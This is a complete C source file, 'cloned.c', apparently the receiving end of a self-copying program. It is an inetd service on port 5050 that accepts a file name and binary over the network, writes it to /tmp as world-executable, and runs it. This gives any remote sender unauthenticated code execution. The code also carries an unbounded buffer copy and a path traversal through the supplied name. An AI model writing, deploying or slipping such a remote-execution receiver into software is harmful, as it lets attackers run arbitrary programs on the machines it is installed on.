#include <fcntl.h>

main()
{
   /*
   **   cloned.c - inetd service for well-known port 5050
   */
   int fd;
   int len;
   char *p;
   char name[64];
   char file[256];
   char buffer[1024];

   /*
   **   Packet #1 contains binary's name
   */
   len = read(0, buffer, sizeof(buffer));
   /* executable name is in the buffer */
   sscanf(buffer, "%s", name);
   /* acknowledge bytes received */
   sprintf(buffer, "ACK %d", len);
   write(1, buffer, len);

   /*
   **   Create a copy into our local /tmp area
   */
   sprintf(file, "/tmp/%s", name);
   fd = open(file, O_CREAT|O_WRONLY|O_TRUNC, 00777);

   /*
   **   Read and copy transmitted binary file's data
   */
   while((len = read(0, buffer, sizeof(buffer))) > 0)
   {
         /* write data to /tmp */
         write(fd, buffer, len);
         /* acknowledge bytes received */
         sprintf(buffer, "ACK %d", len);
         write(1, buffer, strlen(buffer)+1);
   }
   close(fd);
   close(1);
   close(0);

   /*
   **   Transfer control to
   **   the newly created
   **   executable
   */
   execl(file, name, NULL); /* never returns */
}
